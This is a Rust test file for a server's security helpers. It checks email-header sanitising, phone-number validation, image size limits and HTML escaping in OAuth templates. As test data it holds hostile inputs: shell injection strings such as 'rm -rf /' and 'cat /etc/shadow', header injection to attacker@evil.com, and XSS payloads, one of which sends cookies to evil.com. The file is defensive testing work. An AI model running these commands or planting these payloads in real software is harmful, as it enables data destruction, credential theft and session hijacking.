this repo has no description
1mod common;
2use bspds::notifications::{
3 SendError, is_valid_phone_number, sanitize_header_value,
4};
5use bspds::oauth::templates::{login_page, error_page, success_page};
6use bspds::image::{ImageProcessor, ImageError};
7
8#[test]
9fn test_sanitize_header_value_removes_crlf() {
10 let malicious = "Injected\r\nBcc: attacker@evil.com";
11 let sanitized = sanitize_header_value(malicious);
12 assert!(!sanitized.contains('\r'), "CR should be removed");
13 assert!(!sanitized.contains('\n'), "LF should be removed");
14 assert!(sanitized.contains("Injected"), "Original content should be preserved");
15 assert!(sanitized.contains("Bcc:"), "Text after newline should be on same line (no header injection)");
16}
17
18#[test]
19fn test_sanitize_header_value_preserves_content() {
20 let normal = "Normal Subject Line";
21 let sanitized = sanitize_header_value(normal);
22 assert_eq!(sanitized, "Normal Subject Line");
23}
24
25#[test]
26fn test_sanitize_header_value_trims_whitespace() {
27 let padded = " Subject ";
28 let sanitized = sanitize_header_value(padded);
29 assert_eq!(sanitized, "Subject");
30}
31
32#[test]
33fn test_sanitize_header_value_handles_multiple_newlines() {
34 let input = "Line1\r\nLine2\nLine3\rLine4";
35 let sanitized = sanitize_header_value(input);
36 assert!(!sanitized.contains('\r'), "CR should be removed");
37 assert!(!sanitized.contains('\n'), "LF should be removed");
38 assert!(sanitized.contains("Line1"), "Content before newlines preserved");
39 assert!(sanitized.contains("Line4"), "Content after newlines preserved");
40}
41
42#[test]
43fn test_email_header_injection_sanitization() {
44 let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value";
45 let sanitized = sanitize_header_value(header_injection);
46 let lines: Vec<&str> = sanitized.split("\r\n").collect();
47 assert_eq!(lines.len(), 1, "Should be a single line after sanitization");
48 assert!(sanitized.contains("Normal Subject"), "Original content preserved");
49 assert!(sanitized.contains("Bcc:"), "Content after CRLF preserved as same line text");
50 assert!(sanitized.contains("X-Injected:"), "All content on same line");
51}
52
53#[test]
54fn test_valid_phone_number_accepts_correct_format() {
55 assert!(is_valid_phone_number("+1234567890"));
56 assert!(is_valid_phone_number("+12025551234"));
57 assert!(is_valid_phone_number("+442071234567"));
58 assert!(is_valid_phone_number("+4915123456789"));
59 assert!(is_valid_phone_number("+1"));
60}
61
62#[test]
63fn test_valid_phone_number_rejects_missing_plus() {
64 assert!(!is_valid_phone_number("1234567890"));
65 assert!(!is_valid_phone_number("12025551234"));
66}
67
68#[test]
69fn test_valid_phone_number_rejects_empty() {
70 assert!(!is_valid_phone_number(""));
71}
72
73#[test]
74fn test_valid_phone_number_rejects_just_plus() {
75 assert!(!is_valid_phone_number("+"));
76}
77
78#[test]
79fn test_valid_phone_number_rejects_too_long() {
80 assert!(!is_valid_phone_number("+12345678901234567890123"));
81}
82
83#[test]
84fn test_valid_phone_number_rejects_letters() {
85 assert!(!is_valid_phone_number("+abc123"));
86 assert!(!is_valid_phone_number("+1234abc"));
87 assert!(!is_valid_phone_number("+a"));
88}
89
90#[test]
91fn test_valid_phone_number_rejects_spaces() {
92 assert!(!is_valid_phone_number("+1234 5678"));
93 assert!(!is_valid_phone_number("+ 1234567890"));
94 assert!(!is_valid_phone_number("+1 "));
95}
96
97#[test]
98fn test_valid_phone_number_rejects_special_chars() {
99 assert!(!is_valid_phone_number("+123-456-7890"));
100 assert!(!is_valid_phone_number("+1(234)567890"));
101 assert!(!is_valid_phone_number("+1.234.567.890"));
102}
103
104#[test]
105fn test_signal_recipient_command_injection_blocked() {
106 let malicious_inputs = vec![
107 "+123; rm -rf /",
108 "+123 && cat /etc/passwd",
109 "+123`id`",
110 "+123$(whoami)",
111 "+123|cat /etc/shadow",
112 "+123\n--help",
113 "+123\r\n--version",
114 "+123--help",
115 ];
116 for input in malicious_inputs {
117 assert!(!is_valid_phone_number(input), "Malicious input '{}' should be rejected", input);
118 }
119}
120
121#[test]
122fn test_image_file_size_limit_enforced() {
123 let processor = ImageProcessor::new();
124 let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024];
125 let result = processor.process(&oversized_data, "image/jpeg");
126 match result {
127 Err(ImageError::FileTooLarge { .. }) => {}
128 Err(other) => {
129 let msg = format!("{:?}", other);
130 if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") {
131 panic!("Expected FileTooLarge error, got: {:?}", other);
132 }
133 }
134 Ok(_) => panic!("Should reject files over size limit"),
135 }
136}
137
138#[test]
139fn test_image_file_size_limit_configurable() {
140 let processor = ImageProcessor::new().with_max_file_size(1024);
141 let data: Vec<u8> = vec![0u8; 2048];
142 let result = processor.process(&data, "image/jpeg");
143 assert!(result.is_err(), "Should reject files over configured limit");
144}
145
146#[test]
147fn test_oauth_template_xss_escaping_client_id() {
148 let malicious_client_id = "<script>alert('xss')</script>";
149 let html = login_page(malicious_client_id, None, None, "test-uri", None, None);
150 assert!(!html.contains("<script>"), "Script tags should be escaped");
151 assert!(html.contains("<script>"), "HTML entities should be used for escaping");
152}
153
154#[test]
155fn test_oauth_template_xss_escaping_client_name() {
156 let malicious_client_name = "<img src=x onerror=alert('xss')>";
157 let html = login_page("client123", Some(malicious_client_name), None, "test-uri", None, None);
158 assert!(!html.contains("<img "), "IMG tags should be escaped");
159 assert!(html.contains("<img"), "IMG tag should be escaped as HTML entity");
160}
161
162#[test]
163fn test_oauth_template_xss_escaping_scope() {
164 let malicious_scope = "\"><script>alert('xss')</script>";
165 let html = login_page("client123", None, Some(malicious_scope), "test-uri", None, None);
166 assert!(!html.contains("<script>"), "Script tags in scope should be escaped");
167}
168
169#[test]
170fn test_oauth_template_xss_escaping_error_message() {
171 let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>";
172 let html = login_page("client123", None, None, "test-uri", Some(malicious_error), None);
173 assert!(!html.contains("<script>"), "Script tags in error should be escaped");
174}
175
176#[test]
177fn test_oauth_template_xss_escaping_login_hint() {
178 let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\"";
179 let html = login_page("client123", None, None, "test-uri", None, Some(malicious_hint));
180 assert!(!html.contains("onfocus=\"alert"), "Event handlers should be escaped in login hint");
181 assert!(html.contains("""), "Quotes should be escaped");
182}
183
184#[test]
185fn test_oauth_template_xss_escaping_request_uri() {
186 let malicious_uri = "\" onmouseover=\"alert('xss')\"";
187 let html = login_page("client123", None, None, malicious_uri, None, None);
188 assert!(!html.contains("onmouseover=\"alert"), "Event handlers should be escaped in request_uri");
189}
190
191#[test]
192fn test_oauth_error_page_xss_escaping() {
193 let malicious_error = "<script>steal()</script>";
194 let malicious_desc = "<img src=x onerror=evil()>";
195 let html = error_page(malicious_error, Some(malicious_desc));
196 assert!(!html.contains("<script>"), "Script tags should be escaped in error page");
197 assert!(!html.contains("<img "), "IMG tags should be escaped in error page");
198}
199
200#[test]
201fn test_oauth_success_page_xss_escaping() {
202 let malicious_name = "<script>steal_session()</script>";
203 let html = success_page(Some(malicious_name));
204 assert!(!html.contains("<script>"), "Script tags should be escaped in success page");
205}
206
207#[test]
208fn test_oauth_template_no_javascript_urls() {
209 let html = login_page("client123", None, None, "test-uri", None, None);
210 assert!(!html.contains("javascript:"), "Login page should not contain javascript: URLs");
211 let error_html = error_page("test_error", None);
212 assert!(!error_html.contains("javascript:"), "Error page should not contain javascript: URLs");
213 let success_html = success_page(None);
214 assert!(!success_html.contains("javascript:"), "Success page should not contain javascript: URLs");
215}
216
217#[test]
218fn test_oauth_template_form_action_safe() {
219 let malicious_uri = "javascript:alert('xss')//";
220 let html = login_page("client123", None, None, malicious_uri, None, None);
221 assert!(html.contains("action=\"/oauth/authorize\""), "Form action should be fixed URL");
222}
223
224#[test]
225fn test_send_error_types_have_display() {
226 let timeout = SendError::Timeout;
227 let max_retries = SendError::MaxRetriesExceeded("test".to_string());
228 let invalid_recipient = SendError::InvalidRecipient("bad recipient".to_string());
229 assert!(!format!("{}", timeout).is_empty());
230 assert!(!format!("{}", max_retries).is_empty());
231 assert!(!format!("{}", invalid_recipient).is_empty());
232}
233
234#[test]
235fn test_send_error_timeout_message() {
236 let error = SendError::Timeout;
237 let msg = format!("{}", error);
238 assert!(msg.to_lowercase().contains("timeout"), "Timeout error should mention timeout");
239}
240
241#[test]
242fn test_send_error_max_retries_includes_detail() {
243 let error = SendError::MaxRetriesExceeded("Server returned 503".to_string());
244 let msg = format!("{}", error);
245 assert!(msg.contains("503") || msg.contains("retries"), "MaxRetriesExceeded should include context");
246}
247
248#[tokio::test]
249async fn test_check_signup_queue_accepts_session_jwt() {
250 use common::{base_url, client, create_account_and_login};
251 let base = base_url().await;
252 let http_client = client();
253 let (token, _did) = create_account_and_login(&http_client).await;
254 let res = http_client
255 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
256 .header("Authorization", format!("Bearer {}", token))
257 .send()
258 .await
259 .unwrap();
260 assert_eq!(res.status(), reqwest::StatusCode::OK, "Session JWTs should be accepted");
261 let body: serde_json::Value = res.json().await.unwrap();
262 assert_eq!(body["activated"], true);
263}
264
265#[tokio::test]
266async fn test_check_signup_queue_no_auth() {
267 use common::{base_url, client};
268 let base = base_url().await;
269 let http_client = client();
270 let res = http_client
271 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
272 .send()
273 .await
274 .unwrap();
275 assert_eq!(res.status(), reqwest::StatusCode::OK, "No auth should work");
276 let body: serde_json::Value = res.json().await.unwrap();
277 assert_eq!(body["activated"], true);
278}
279
280#[test]
281fn test_html_escape_ampersand() {
282 let html = login_page("client&test", None, None, "test-uri", None, None);
283 assert!(html.contains("&"), "Ampersand should be escaped");
284 assert!(!html.contains("client&test"), "Raw ampersand should not appear in output");
285}
286
287#[test]
288fn test_html_escape_quotes() {
289 let html = login_page("client\"test'more", None, None, "test-uri", None, None);
290 assert!(html.contains(""") || html.contains("""), "Double quotes should be escaped");
291 assert!(html.contains("'") || html.contains("'"), "Single quotes should be escaped");
292}
293
294#[test]
295fn test_html_escape_angle_brackets() {
296 let html = login_page("client<test>more", None, None, "test-uri", None, None);
297 assert!(html.contains("<"), "Less than should be escaped");
298 assert!(html.contains(">"), "Greater than should be escaped");
299 assert!(!html.contains("<test>"), "Raw angle brackets should not appear");
300}
301
302#[test]
303fn test_oauth_template_preserves_safe_content() {
304 let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"), "valid-uri", None, Some("user@example.com"));
305 assert!(html.contains("my-safe-client") || html.contains("My Safe App"), "Safe content should be preserved");
306 assert!(html.contains("read write") || html.contains("read"), "Scope should be preserved");
307 assert!(html.contains("user@example.com"), "Login hint should be preserved");
308}
309
310#[test]
311fn test_csrf_like_input_value_protection() {
312 let malicious = "\" onclick=\"alert('csrf')";
313 let html = login_page("client", None, None, malicious, None, None);
314 assert!(!html.contains("onclick=\"alert"), "Event handlers should not be executable");
315}
316
317#[test]
318fn test_unicode_handling_in_templates() {
319 let unicode_client = "客户端 クライアント";
320 let html = login_page(unicode_client, None, None, "test-uri", None, None);
321 assert!(html.contains("客户端") || html.contains("&#"), "Unicode should be preserved or encoded");
322}
323
324#[test]
325fn test_null_byte_in_input() {
326 let with_null = "client\0id";
327 let sanitized = sanitize_header_value(with_null);
328 assert!(sanitized.contains("client"), "Content before null should be preserved");
329}
330
331#[test]
332fn test_very_long_input_handling() {
333 let long_input = "x".repeat(10000);
334 let sanitized = sanitize_header_value(&long_input);
335 assert!(!sanitized.is_empty(), "Long input should still produce output");
336}